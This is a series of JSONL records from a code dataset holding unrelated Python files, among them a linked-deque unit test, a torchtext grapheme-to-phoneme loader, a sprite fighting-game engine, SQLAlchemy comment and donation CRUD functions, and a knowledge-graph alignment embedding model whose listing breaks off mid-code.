0)\nprint(ans)","sub_path":"치킨배달_광교.py","file_name":"치킨배달_광교.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"633887880","text":"import unittest\nfrom doubly_linked_deque import LinkedDeque\n\nitems = ['a', 'b', 'c', -1, 2, 3, ['a', 'b', 'c', -1, 2, 3], (1,)]\n\n\nclass TestCase(unittest.TestCase):\n\n def setUp(self):\n self.deque = LinkedDeque()\n for item in items:\n self.deque.insert_first(item)\n\n def test_len(self):\n for num in range(len(items)):\n self.deque.delete_first()\n self.assertEqual(len(self.deque), len(items) - (1 + num))\n items_2 = items*2\n for num, item in enumerate(items_2):\n self.deque.insert_first(item)\n self.assertEqual(len(self.deque), num + 1)\n\n def test_first_and_delete_first(self):\n for num in range(len(items)):\n # self.deque.insert_first(items[num])\n self.assertEqual(self.deque.first(), items[-(num + 1)])\n self.deque.delete_first()\n\n def test_last_and_delete_last(self):\n # self.assertEqual(self.deque.last(), 'a')\n for num in range(len(items)):\n self.assertEqual(self.deque.last(), items[num])\n self.deque.delete_last()\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"LinkedLists/test_doubly_linked_deque.py","file_name":"test_doubly_linked_deque.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"253551579","text":"import torchtext.data as data\nfrom torchtext.data import Field, BucketIterator\nimport os\nimport re\nimport json\n\nfrom transformers import AutoTokenizer\nimport logging\nimport pickle\nlogger = logging.getLogger(__name__)\n\ndef build_dataset(model_type, args, device, vectors, n2w=False):\n batch_first = False\n if model_type == 'Transformer':\n batch_first = True\n \n if args.word_train:\n G_tokenizer = AutoTokenizer.from_pretrained('bert-base-uncased')\n P_tokenizer = lambda x: x.split(' _ ')\n if args.token_train:\n G_tokenizer = lambda x: list(x)\n P_tokenizer = lambda x: x.split()\n\n G_FIELD = Field(init_token='<sos>',\n eos_token='<eos>',\n tokenize=G_tokenizer,\n batch_first=batch_first)\n P_FIELD = Field(init_token='<sos>',\n eos_token='<eos>',\n tokenize=P_tokenizer,\n batch_first=batch_first)\n fields = dict([('grapheme', G_FIELD), ('phoneme', P_FIELD)])\n train_data, val_data, test_data = Librispeech.splits(args.data_dir, args.data_type, G_FIELD, P_FIELD)\n \n if vectors:\n from torchtext.vocab import GloVe\n G_FIELD.build_vocab(train_data, val_data, test_data, vectors=GloVe(name='6B', dim=300))\n else:\n G_FIELD.build_vocab(train_data, val_data, test_data)\n P_FIELD.build_vocab(train_data, val_data, test_data)\n\n logger.info(vars(train_data.examples[0]))\n logger.info(vars(val_data.examples[0]))\n\n train_iter = BucketIterator(train_data, batch_size=args.train_batch_size, train=True, device=device, shuffle=True)\n val_iter = BucketIterator(val_data, batch_size=args.eval_batch_size, train=False, device=device, shuffle=False)\n test_iter = BucketIterator(test_data, batch_size=args.eval_batch_size, train=False, device=device)\n\n return (train_iter, val_iter, test_iter), fields\n\n\nclass Librispeech(data.Dataset): \n def __init__(self, data_lines, G_FIELD, P_FIELD):\n fields = [('grapheme', G_FIELD), ('phoneme', P_FIELD)]\n examples = []\n for line in data_lines:\n grapheme = line['G']\n phoneme = line['P']\n examples.append(data.Example.fromlist([grapheme, phoneme], fields))\n self.sort_key = lambda x:len(x.grapheme)\n super().__init__(examples, fields)\n\n @classmethod\n def splits(cls, fpath, data_type, G_FIELD, P_FIELD):\n with open(fpath+f'/{data_type}_train.json', 'r', encoding='utf-8') as train_f,\\\n open(fpath+f'/{data_type}_dev.json', 'r', encoding='utf-8') as val_f,\\\n open(fpath+f'/{data_type}_test.json', 'r', encoding='utf-8') as test_f:\n train_data = json.load(train_f)\n val_data = json.load(val_f)\n test_data = json.load(test_f)\n \n train_dataset = cls(train_data, G_FIELD, P_FIELD)\n val_dataset = cls(val_data, G_FIELD, P_FIELD)\n test_dataset = cls(test_data, G_FIELD, P_FIELD)\n\n logger.info(f\"Number of training examples: {len(train_dataset.examples)}\")\n logger.info(f\"Number of validation examples: {len(val_dataset.examples)}\")\n logger.info(f\"Number of testing examples: {len(test_dataset.examples)}\")\n\n return (train_dataset, val_dataset, test_dataset)","sub_path":"G2P/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":3233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"101283031","text":"import os\nimport random\n\nimport animate\nimport comms\n\nDIR = os.path.dirname(__file__)\n\n\nclass Game:\n def __init__(self, fighter1, fighter2):\n\n # setup basic width/height\n width, height = 1200, 400\n f_width, f_height = 200, 200\n\n # define the boundaries of the map\n minWidth = int(width * 0.1) - f_width // 2\n maxWidth = int(width * 0.9) - f_width // 2\n minHeight = int(height * 0.9)\n\n # create the fighters and put them in the scene\n self.fighter1 = fighter1\n self.fighter1.setPos(minWidth, minHeight)\n self.fighter1.setMaxPos(minWidth, maxWidth)\n self.fighter2 = fighter2\n self.fighter2.setPos(maxWidth, minHeight)\n self.fighter2.setMaxPos(minWidth, maxWidth)\n\n # make sure the fighters know who they both are\n self.fighter1.setEnemy(self.fighter2)\n self.fighter2.setEnemy(self.fighter1)\n\n # flip the second fighter to face the first\n self.fighter2.flipped = True\n\n # use a background from either fighter as the backdrop\n self.background = random.choice(\n [self.fighter1.getBackground(), self.fighter2.getBackground()]\n ).resize((width, height))\n\n # prepare the images that are turned into a gif in the end\n self.images = []\n\n # setup communications with both fighters (subprocesses)\n self.fighter1comms = comms.InteractiveSession(\n self.fighter1.brain_cmd, self.fighter1.brain_path\n )\n self.fighter2comms = comms.InteractiveSession(\n self.fighter2.brain_cmd, self.fighter2.brain_path\n )\n\n def update(self):\n\n # get the current information about the fighters\n status1 = self.fighter1.get_info_line()\n status2 = self.fighter2.get_info_line()\n options1 = \" \".join(self.fighter1.get_options())\n options2 = \" \".join(self.fighter2.get_options())\n\n # send the information to fighter1\n self.fighter1comms.write(status1) # own info first\n self.fighter1comms.write(status2) # enemy fighter second\n self.fighter1comms.write(options1) # give them their available options\n\n # send the information to fighter2\n self.fighter2comms.write(status2) # own info first\n self.fighter2comms.write(status1) # enemy fighter second\n self.fighter2comms.write(options2) # give them their available options\n\n # ask both fighters what they want to do\n action1 = self.fighter1comms.read()\n action2 = self.fighter2comms.read()\n fighters_with_actions = list(\n zip([self.fighter1, self.fighter2], [action1, action2])\n )\n\n # the fighters do their actions in random order,\n # so that both fighters have an element of luck.\n random.shuffle(fighters_with_actions)\n for f, action in fighters_with_actions:\n f.update(action)\n\n # create image of current scene\n image = self.background.copy()\n for f in [self.fighter1, self.fighter2]:\n img = f.getImage()\n if f.isFlipped():\n img = animate.flip(img)\n image = animate.place_on_background(\n image, img, f.x, f.y - img.size[1] - f.y_offset\n )\n self.images += [image]\n\n # let the game continue as long as one of them is battle ready\n # unless the game becomes really, really long\n if (\n self.fighter1.health <= 0\n or self.fighter2.health <= 0\n or len(self.images) > 500\n ):\n return False\n else:\n return True\n\n def process(self):\n\n try:\n # while the fight lasts\n while self.update():\n pass\n # add a few more shots for the ending\n for i in range(50):\n self.update()\n finally:\n # whatever happens, terminate the subprocesses.\n self.fighter1comms.terminate()\n self.fighter2comms.terminate()\n\n print(\"Generating image sequence..\")\n pathname = os.path.join(\n DIR,\n \"battles\",\n \"{}_vs_{}.gif\".format(self.fighter1.name, self.fighter2.name),\n )\n animate.animate_sequence(\n self.images, pathname,\n )\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"4000806","text":"from crypto import Crypto\nfrom trade_connector import TradeConnector\nfrom crypto_socket import CryptoSocket\nfrom coinigy_credentials import api_credentials\nimport requests\nimport os\nimport json\n\nheaders = {'Content-Type' : 'application/json', 'X-API-KEY': api_credentials['apiKey'], 'X-API-SECRET': api_credentials['apiSecret']}\n\ndef market_request(exch_code):\n r = requests.post('https://api.coinigy.com/api/v1/markets', data={'exchange_code': exch_code}, headers = headers)\n data = r.json()['data']\n prepare_market_sockets(exch_code, data)\n\ndef prepare_market_sockets(ex, markets):\n for market in markets:\n market = market[\"mkt_name\"].split(\"/\")\n if(len(market) == 2): #real market\n cryptoState.addCryptoMarket(ex, market[0] + \"--\" + market[1])\n\nif __name__ == \"__main__\":\n td = TradeConnector()\n cryptoState = Crypto(td)\n\n\n r = requests.post('https://api.coinigy.com/api/v1/exchanges', headers = headers)\n data = r.json()['data']\n\n exchanges = []\n\n for exchange in data:\n if(exchange['exch_trade_enabled'] == \"1\"):\n exchanges.append(exchange['exch_code'])\n\n for ex in exchanges:\n market_request(ex)\n\n crypto_socket_manager = CryptoSocket(cryptoState)\n crypto_socket_manager.socket_start(0)\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"291083490","text":"from enum import Enum\nfrom datetime import *\nfrom typing import Dict, List\nfrom dataclasses import dataclass\n\n\nclass CalendarMode(Enum):\n Month = 0\n Year = 1\n\n\nclass TodoPriority(Enum):\n Unimportant = 0\n Normal = 1\n Important = 2\n Urgent = 3\n\n def __str__(self):\n return [\"不重要\", \"一般\", \"重要\", \"非常重要\"][self.value]\n\n\n@dataclass\nclass TodoEntry:\n priority: TodoPriority\n content: str\n time: datetime\n\n # 序列化\n def objToDict(obj) -> Dict:\n if not isinstance(obj, TodoEntry):\n raise TypeError\n d = dict()\n d[\"pri\"] = obj.priority.value\n d[\"content\"] = obj.content\n d[\"time\"] = obj.time.strftime(\"%Y-%m-%d %H:%M:%S\")\n return d\n\n # 反序列化\n def dictToObj(d: Dict):\n return TodoEntry(TodoPriority[d[\"pri\"]], d[\"content\"],\n datetime.strptime(d[\"time\", \"%Y-%m-%d %H:%M:%S\"]))\n\n\n@dataclass\nclass CalendarDay:\n year: int\n month: int\n day: int\n todoCount: int\n isNotInThisMonth: bool\n isSelected: bool = False\n\n\nclass MonthCalendar:\n calendarBody: List[List[CalendarDay]]\n\n\nclass LightCalendarState:\n mode: CalendarMode\n monthCalendar: MonthCalendar\n selectedDay: datetime\n","sub_path":"core/lightcalendar_state.py","file_name":"lightcalendar_state.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"76705251","text":"from datetime import datetime\nfrom typing import Optional\n\nfrom sqlalchemy.engine.result import ResultProxy\nfrom sqlalchemy.orm import Session\n\nfrom clients.log import LOGGER\nfrom database.models import Comment, Donation, Account, CommentUpvote\nfrom database.schemas import NewComment, NewDonation, NetlifyAccount\n\n\ndef get_donation(db: Session, donation_id: int) -> Optional[ResultProxy]:\n \"\"\"\n Fetch BuyMeACoffee donation by ID.\n\n :param db: ORM database session.\n :type db: Session\n :param donation_id: Primary key for donation record.\n :type donation_id: int\n :returns: Optional[ResultProxy]\n \"\"\"\n return db.query(Donation).filter(Donation.coffee_id == donation_id).first()\n\n\ndef create_donation(db: Session, donation: NewDonation) -> Donation:\n \"\"\"\n Create new BuyMeACoffee donation record.\n\n :param db: ORM database session.\n :type db: Session\n :param donation: Donation schema object.\n :type donation: NewDonation\n :returns: Donation\n \"\"\"\n db_item = Donation(\n email=donation.email,\n name=donation.name,\n count=donation.count,\n message=donation.message,\n link=donation.link,\n coffee_id=donation.coffee_id,\n created_at=datetime.now(),\n )\n db.add(db_item)\n db.commit()\n return db_item\n\n\ndef get_comment(db: Session, comment_id: int) -> Optional[ResultProxy]:\n \"\"\"\n Fetch BuyMeACoffee donation by ID.\n\n :param db: ORM database session.\n :type db: Session\n :param comment_id: Primary key for user comment record.\n :type comment_id: int\n :returns: Optional[ResultProxy]\n \"\"\"\n return db.query(Comment).filter(Comment.id == comment_id).first()\n\n\ndef create_comment(db: Session, comment: NewComment) -> Comment:\n \"\"\"\n Create new user-submitted comment.\n\n :param db: ORM database session.\n :type db: Session\n :param comment: User comment object.\n :type comment: NewComment\n :returns: NewComment\n \"\"\"\n new_comment = Comment(\n user_name=comment.user_name,\n user_avatar=comment.user_avatar,\n user_id=comment.user_id,\n user_email=comment.user_email,\n user_role=comment.user_role,\n body=comment.body,\n created_at=datetime.now(),\n post_slug=comment.post_slug,\n post_id=comment.post_id,\n )\n db.add(new_comment)\n db.commit()\n LOGGER.success(\n f\"New comment submitted by user `{new_comment.user_name}` on post `{new_comment.post_slug}`\"\n )\n return new_comment\n\n\ndef submit_comment_upvote(db: Session, user_id: str, comment_id: int) -> CommentUpvote:\n \"\"\"\n Create a record of a user's upvote for a given comment.\n\n :param db: ORM database session.\n :type db: Session\n :param user_id: Primary key for account record.\n :type user_id: str\n :param comment_id: Unique ID of comment user attempted to upvote.\n :type comment_id: int\n :returns: CommentUpvote\n \"\"\"\n upvote = CommentUpvote(user_id=user_id, comment_id=comment_id)\n db.add(upvote)\n db.commit()\n LOGGER.success(\n f\"Upvote submitted for comment `{comment_id}` from user `{user_id}`.\"\n )\n return upvote\n\n\ndef remove_comment_upvote(db: Session, user_id: str, comment_id: int):\n \"\"\"\n Delete a record of a user's upvote for a given comment.\n\n :param db: ORM database session.\n :type db: Session\n :param user_id: Primary key for account record.\n :type user_id: str\n :param comment_id: Unique ID of comment user attempted to upvote.\n :type comment_id: int\n :returns: CommentUpvote\n \"\"\"\n upvote = CommentUpvote(user_id=user_id, comment_id=comment_id)\n db.delete(upvote)\n db.commit()\n LOGGER.success(f\"Removed upvote for comment `{comment_id}` from user `{user_id}`.\")\n\n\ndef get_comment_upvote(\n db: Session, user_id: str, comment_id: int\n) -> Optional[ResultProxy]:\n \"\"\"\n Validate whether a user has upvoted a given comment.\n\n :param db: ORM database session.\n :type db: Session\n :param user_id: Primary key for account record.\n :type user_id: str\n :param comment_id: Unique ID of comment user attempted to upvote.\n :type comment_id: int\n :returns: Optional[ResultProxy]\n \"\"\"\n return (\n db.query(CommentUpvote)\n .filter(\n CommentUpvote.user_id == user_id and CommentUpvote.comment_id == comment_id\n )\n .first()\n )\n\n\ndef get_account(db: Session, account_email: str) -> Optional[ResultProxy]:\n \"\"\"\n Fetch account by email address.\n\n :param db: ORM database session.\n :type db: Session\n :param account_email: Primary key for account record.\n :type account_email: str\n :returns: Optional[ResultProxy]\n \"\"\"\n return db.query(Account).filter(Account.email == account_email).first()\n\n\ndef create_account(db: Session, account: NetlifyAccount) -> NetlifyAccount:\n \"\"\"\n Create new account record sourced from Netlify.\n\n :param db: ORM database session.\n :type db: Session\n :param account: User comment schema object.\n :type account: NetlifyAccount\n :returns: NetlifyAccount\n \"\"\"\n new_account = Account(\n id=account.id,\n full_name=account.user_metadata.full_name,\n avatar_url=account.user_metadata.avatar_url,\n email=account.email,\n role=account.role,\n provider=account.app_metadata.provider,\n created_at=account.created_at,\n updated_at=account.updated_at,\n )\n db.add(new_account)\n db.commit()\n LOGGER.success(f\"New account created `{account.user_metadata.full_name}`\")\n return account\n","sub_path":"database/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":5565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"427446229","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport _thread\nimport sys\nimport os\nimport time\nimport random\nfrom math import exp\nfrom typing import List, Tuple, Set, Dict\n\nfrom scipy import spatial\nimport numpy as np\nimport torch\nfrom torch import nn\nfrom torch.optim import optimizer\nfrom torch.utils import tensorboard\nfrom torch.utils.data import Dataset, DataLoader\nimport torch.nn.functional as F\n\nfrom dataloader import BidirectionalOneShotIterator\nfrom dataloader import TrainDataset, TestDataset\nimport tensorflow as tf\nimport tensorboard as tb\nimport logging\nimport click\n\ntf.io.gfile = tb.compat.tensorflow_stub.io.gfile\nrandom.seed(1234)\nnp.random.seed(1234)\ntorch.manual_seed(1234)\nif torch.cuda.is_available():\n torch.cuda.manual_seed_all(1234)\n\n\n# region dataset\n\nclass AVDistanceDataset(Dataset):\n def __init__(self,\n seeds: List[Tuple[int, int]], triples: List[Tuple[int, int, int]],\n kg1_entity_list: List[int], kg2_entity_list: List[int],\n nentity, negative_sample_size, mode):\n self.seeds: List[Tuple[int, int]] = seeds\n self.len: int = len(seeds)\n\n self.kg1_entity_list: List[int] = kg1_entity_list\n self.kg1_entity_size: int = len(kg1_entity_list)\n\n self.kg2_entity_list: List[int] = kg2_entity_list\n self.kg2_entity_size: int = len(kg2_entity_list)\n\n self.triple_mapper: Dict[int, List[Tuple[int, int]]] = self.build_triple_mapper(triples)\n\n self.nentity = nentity\n self.negative_sample_size = negative_sample_size\n self.mode = mode\n self.count = self.count_frequency(seeds)\n self.true_head, self.true_tail = self.get_true_head_and_tail(seeds)\n\n @staticmethod\n def build_triple_mapper(triples) -> Dict[int, List[Tuple[int, int]]]:\n triple_mapper: Dict[int, List[Tuple[int, int]]] = {}\n for e, a, v in triples:\n if e in triple_mapper:\n triple_mapper[e].append((a, v))\n else:\n triple_mapper[e] = [(a, v)]\n return triple_mapper\n\n def random_get_av(self, e) -> Tuple[int, int]:\n if e in self.triple_mapper:\n result = self.triple_mapper[e]\n return random.choice(result)\n else:\n print(\"error\")\n return 1, 1\n\n def __len__(self):\n return self.len\n\n def __getitem__(self, idx):\n positive_sample = self.seeds[idx]\n\n head, tail = positive_sample\n\n subsampling_weight = self.count[head] + self.count[tail]\n subsampling_weight = torch.sqrt(1 / torch.Tensor([subsampling_weight]))\n\n negative_sample_list = []\n negative_sample_size = 0\n\n while negative_sample_size < self.negative_sample_size:\n\n if self.mode == 'av-head-batch':\n # 1. 随机生成 index\n negative_sample_index = np.random.randint(self.kg1_entity_size, size=self.negative_sample_size * 2)\n # 2. 将 index 映射为 entity\n negative_sample = np.array(list(map(lambda x: self.kg1_entity_list[x], negative_sample_index)))\n mask = np.in1d(\n negative_sample,\n self.true_head[tail],\n assume_unique=True,\n invert=True\n )\n elif self.mode == 'av-tail-batch':\n negative_sample_index = np.random.randint(self.kg2_entity_size, size=self.negative_sample_size * 2)\n negative_sample = np.array(list(map(lambda x: self.kg2_entity_list[x], negative_sample_index)))\n mask = np.in1d(\n negative_sample,\n self.true_tail[head],\n assume_unique=True,\n invert=True\n )\n else:\n raise ValueError('Training batch mode %s not supported' % self.mode)\n negative_sample = negative_sample[mask]\n # 3. 根据 entity 随机搜索其 (attr, value)\n # sample_size x 2\n negative_sample = np.array(list(map(lambda x: self.random_get_av(x), negative_sample)))\n negative_sample_list.append(negative_sample)\n negative_sample_size += negative_sample.size\n\n # sample_size x 2\n negative_sample = np.concatenate(negative_sample_list)[:self.negative_sample_size]\n\n positive_sample = list(map(lambda x: self.random_get_av(x), positive_sample))\n\n negative_sample = torch.LongTensor(negative_sample)\n positive_sample = torch.LongTensor(positive_sample)\n\n return positive_sample, negative_sample, subsampling_weight, self.mode\n\n @staticmethod\n def collate_fn(data):\n positive_sample = torch.stack([_[0] for _ in data], dim=0)\n negative_sample = torch.stack([_[1] for _ in data], dim=0)\n subsample_weight = torch.cat([_[2] for _ in data], dim=0)\n mode = data[0][3]\n return positive_sample, negative_sample, subsample_weight, mode\n\n @staticmethod\n def count_frequency(seeds, start=4):\n \"\"\"\n Get frequency of a partial triple like (head, relation) or (relation, tail)\n The frequency will be used for subsampling like word2vec\n \"\"\"\n count = {}\n for a, b in seeds:\n if a not in count:\n count[a] = start\n else:\n count[a] += 1\n\n if b not in count:\n count[b] = start\n else:\n count[b] += 1\n return count\n\n @staticmethod\n def get_true_head_and_tail(seeds):\n \"\"\"\n Build a dictionary of true triples that will\n be used to filter these true triples for negative sampling\n \"\"\"\n\n true_head = {}\n true_tail = {}\n\n for a, b in seeds:\n if a not in true_tail:\n true_tail[a] = []\n true_tail[a].append(b)\n if b not in true_head:\n true_head[b] = []\n true_head[b].append(a)\n\n for b in true_head:\n true_head[b] = np.array(list(set(true_head[b])))\n for a in true_tail:\n true_tail[a] = np.array(list(set(true_tail[a])))\n\n return true_head, true_tail\n\n\nclass AlignDataset(Dataset):\n def __init__(self,\n seeds: List[Tuple[int, int]],\n kg1_entity_list: List[int], kg2_entity_list: List[int],\n nentity, negative_sample_size, mode):\n self.seeds = seeds\n self.len = len(seeds)\n self.kg1_entity_list = kg1_entity_list\n self.kg2_entity_list = kg2_entity_list\n self.kg1_entity_size = len(kg1_entity_list)\n self.kg2_entity_size = len(kg2_entity_list)\n self.nentity = nentity\n self.negative_sample_size = negative_sample_size\n self.mode = mode\n self.count = self.count_frequency(seeds)\n self.true_head, self.true_tail = self.get_true_head_and_tail(seeds)\n\n def __len__(self):\n return self.len\n\n def __getitem__(self, idx):\n positive_sample = self.seeds[idx]\n\n head, tail = positive_sample\n\n subsampling_weight = self.count[head] + self.count[tail]\n subsampling_weight = torch.sqrt(1 / torch.Tensor([subsampling_weight]))\n\n negative_sample_list = []\n negative_sample_size = 0\n\n while negative_sample_size < self.negative_sample_size:\n\n if self.mode == 'align-head-batch':\n negative_sample = np.random.randint(self.kg1_entity_size, size=self.negative_sample_size * 2)\n negative_sample = np.array(list(map(lambda x: self.kg1_entity_list[x], negative_sample)))\n mask = np.in1d(\n negative_sample,\n self.true_head[tail],\n assume_unique=True,\n invert=True\n )\n elif self.mode == 'align-tail-batch':\n negative_sample = np.random.randint(self.kg2_entity_size, size=self.negative_sample_size * 2)\n negative_sample = np.array(list(map(lambda x: self.kg2_entity_list[x], negative_sample)))\n mask = np.in1d(\n negative_sample,\n self.true_tail[head],\n assume_unique=True,\n invert=True\n )\n else:\n raise ValueError('Training batch mode %s not supported' % self.mode)\n negative_sample = negative_sample[mask]\n negative_sample_list.append(negative_sample)\n negative_sample_size += negative_sample.size\n\n negative_sample = np.concatenate(negative_sample_list)[:self.negative_sample_size]\n\n negative_sample = torch.LongTensor(negative_sample)\n\n positive_sample = torch.LongTensor(positive_sample)\n\n return positive_sample, negative_sample, subsampling_weight, self.mode\n\n @staticmethod\n def collate_fn(data):\n positive_sample = torch.stack([_[0] for _ in data], dim=0)\n negative_sample = torch.stack([_[1] for _ in data], dim=0)\n subsample_weight = torch.cat([_[2] for _ in data], dim=0)\n mode = data[0][3]\n return positive_sample, negative_sample, subsample_weight, mode\n\n def count_frequency(self, seeds: List[Tuple[int, int]], start=4):\n \"\"\"\n Get frequency of a partial triple like (head, relation) or (relation, tail)\n The frequency will be used for subsampling like word2vec\n \"\"\"\n count = {}\n for a, b in seeds:\n if a not in count:\n count[a] = start\n else:\n count[a] += 1\n\n if b not in count:\n count[b] = start\n else:\n count[b] += 1\n return count\n\n @staticmethod\n def get_true_head_and_tail(seeds):\n \"\"\"\n Build a dictionary of true triples that will\n be used to filter these true triples for negative sampling\n \"\"\"\n\n true_head = {}\n true_tail = {}\n\n for a, b in seeds:\n if a not in true_tail:\n true_tail[a] = []\n true_tail[a].append(b)\n if b not in true_head:\n true_head[b] = []\n true_head[b].append(a)\n\n for b in true_head:\n true_head[b] = np.array(list(set(true_head[b])))\n for a in true_tail:\n true_tail[a] = np.array(list(set(true_tail[a])))\n\n return true_head, true_tail\n\n\n# endregion\n\n# region model\nclass KGEModel(nn.Module):\n def __init__(self,\n train_seeds,\n nentity, nrelation, nvalue,\n hidden_dim, gamma):\n super(KGEModel, self).__init__()\n # self.model_name = model_name\n self.hidden_dim = hidden_dim\n self.epsilon = 2.0\n\n self.gamma = nn.Parameter(\n torch.Tensor([gamma]),\n requires_grad=False\n )\n\n self.embedding_range = nn.Parameter(\n torch.Tensor([(self.gamma.item() + self.epsilon) / hidden_dim]),\n requires_grad=False\n )\n self.entity_dim = hidden_dim\n self.relation_dim = hidden_dim\n self.value_dim = hidden_dim\n\n # region 知识图谱的嵌入:实体、属性、属性值\n entity_weight = torch.zeros(nentity, self.entity_dim)\n nn.init.uniform_(\n tensor=entity_weight,\n a=-self.embedding_range.item(),\n b=self.embedding_range.item()\n )\n for left_entity, right_entity in train_seeds:\n entity_weight[left_entity] = entity_weight[right_entity]\n self.entity_embedding = nn.Parameter(entity_weight)\n # nn.init.normal_(self.entity_embedding)\n\n self.relation_embedding = nn.Parameter(torch.zeros(nrelation, self.relation_dim))\n # nn.init.normal_(self.relation_embedding)\n nn.init.uniform_(\n tensor=self.relation_embedding,\n a=-self.embedding_range.item(),\n b=self.embedding_range.item()\n )\n\n self.value_embedding = nn.Parameter(torch.zeros(nvalue, self.value_dim))\n # nn.init.normal_(self.value_embedding)\n nn.init.uniform_(\n tensor=self.value_embedding,\n a=-self.embedding_range.item(),\n b=self.embedding_range.item()\n )\n # endregion\n\n # region align\n self.M = nn.Parameter(torch.zeros(self.entity_dim, self.entity_dim))\n nn.init.orthogonal_(self.M) # 正交矩阵\n\n self.bias = nn.Parameter(torch.zeros(self.entity_dim))\n nn.init.normal_(self.bias)\n self.ones = nn.Parameter(torch.ones(self.entity_dim, self.entity_dim, dtype=torch.float32),\n requires_grad=False) # 200 * 200\n self.diag = nn.Parameter(torch.eye(self.entity_dim, dtype=torch.float32),\n requires_grad=False) # 200 * 200\n self.layer1 = nn.Linear(self.entity_dim, 2 * self.entity_dim)\n self.layer2 = nn.Linear(2 * self.entity_dim, 2 * self.entity_dim)\n self.layer3 = nn.Linear(2 * self.entity_dim, self.entity_dim)\n # endregion\n\n def forward(self, sample, mode='single'):\n # region align 对齐loss 使用GCN-Align的对齐模块\n if mode == \"align-single\":\n batch_size, negative_sample_size = sample.size(0), 1\n head = torch.index_select(\n self.entity_embedding,\n dim=0,\n index=sample[:, 0]\n ).unsqueeze(1)\n\n tail = torch.index_select(\n self.entity_embedding,\n dim=0,\n index=sample[:, 1]\n ).unsqueeze(1)\n return self.loss_GCN_Align(head, tail, mode)\n elif mode == 'align-head-batch':\n tail_part, head_part = sample\n batch_size, negative_sample_size = head_part.size(0), head_part.size(1)\n\n head = torch.index_select(\n self.entity_embedding,\n dim=0,\n index=head_part.view(-1)\n ).view(batch_size, negative_sample_size, -1)\n\n tail = torch.index_select(\n self.entity_embedding,\n dim=0,\n index=tail_part[:, 1]\n ).unsqueeze(1)\n return self.loss_GCN_Align(head, tail, mode)\n elif mode == 'align-tail-batch':\n head_part, tail_part = sample\n batch_size, negative_sample_size = tail_part.size(0), tail_part.size(1)\n head = torch.index_select(\n self.entity_embedding,\n dim=0,\n index=head_part[:, 0]\n ).unsqueeze(1)\n\n tail = torch.index_select(\n self.entity_embedding,\n dim=0,\n index=tail_part.view(-1)\n ).view(batch_size, negative_sample_size, -1)\n return self.loss_GCN_Align(head, tail, mode)\n # 1. 余弦相似度\n # score = (1 - F.cosine_similarity(a, b).abs()).sum()\n # 2. 差\n # score = (a - b).abs().sum()\n # 3. 多层神经网络\n # output = self.layer1(a.matmul(self.M))\n # output = self.layer2(output)\n # output = self.layer3(output)\n # loss = output - b\n # a.matmul(b.transpose(0,2))\n # 4. 线性映射\n # loss = a.matmul(self.M) - b\n # score = F.logsigmoid(loss.sum(dim=1).mean()) # L1范数\n # score = torch.sqrt(torch.square(loss).sum(dim=1)).mean() # L2范数\n # 5. 正交约束\n # F.normalize(self.entity_embedding, p=2, dim=1)\n # loss_orth = ((self.M * (self.ones - self.diag)) ** 2).sum()\n # return score + loss_orth\n # 6. GCN-Align 的对齐模块 align_loss\n # endregion\n # region av 对齐loss 使用我设计的对齐模块\n if mode == \"av-single\":\n batch_size, negative_sample_size = sample.size(0), 1\n # print(mode, sample[0].size(), sample[1].size())\n a = torch.index_select(\n self.relation_embedding,\n dim=0,\n index=sample[:, 0, 0].view(-1)\n ).unsqueeze(1)\n\n v = torch.index_select(\n self.value_embedding,\n dim=0,\n index=sample[:, 0, 1].view(-1)\n ).unsqueeze(1)\n\n a_ = torch.index_select(\n self.relation_embedding,\n dim=0,\n index=sample[:, 1, 0].view(-1)\n ).unsqueeze(1)\n\n v_ = torch.index_select(\n self.value_embedding,\n dim=0,\n index=sample[:, 1, 1].view(-1)\n ).unsqueeze(1)\n return self.loss_av(a, v, a_, v_, mode)\n elif mode == 'av-head-batch': # 负例是头\n tail_part, head_part = sample\n batch_size, negative_sample_size = head_part.size(0), head_part.size(1)\n # tail_part : batch_size x 2 x 2 第一个2是实体对的2,第二个2是实体对应的(a,v)的2\n # head_part : batch_size x sample_size x 2\n # print(mode, tail_part.size(), head_part.size())\n\n a = torch.index_select(\n self.relation_embedding,\n dim=0,\n index=head_part[:, :, 0].view(-1)\n ).view(batch_size, negative_sample_size, -1)\n\n v = torch.index_select(\n self.value_embedding,\n dim=0,\n index=head_part[:, :, 1].view(-1)\n ).view(batch_size, negative_sample_size, -1)\n\n a_ = torch.index_select(\n self.relation_embedding,\n dim=0,\n index=tail_part[:, 1, 0].view(-1)\n ).unsqueeze(1)\n\n v_ = torch.index_select(\n self.value_embedding,\n dim=0,\n index=tail_part[:, 1, 1].view(-1)\n ).unsqueeze(1)\n return self.loss_av(a, v, a_, v_, mode)\n elif mode == 'av-tail-batch': # 负例是尾\n head_part, tail_part = sample\n batch_size, negative_sample_size = tail_part.size(0), tail_part.size(1)\n # print(mode, tail_part.size(), head_part.size(), head_part[:, 1, 0].view(batch_size, -1))\n # head_part : batch_size x 2 x 2\n # tail_part : batch_size x sample_size x 2\n a = torch.index_select(\n self.relation_embedding,\n dim=0,\n index=tail_part[:, :, 0].view(-1)\n ).view(batch_size, negative_sample_size, -1)\n\n v = torch.index_select(\n self.value_embedding,\n dim=0,\n index=tail_part[:, :, 1].view(-1)\n ).view(batch_size, negative_sample_size, -1)\n\n a_ = torch.index_select(\n self.relation_embedding,\n dim=0,\n index=head_part[:, 1, 0].view(-1)\n ).unsqueeze(1)\n\n v_ = torch.index_select(\n 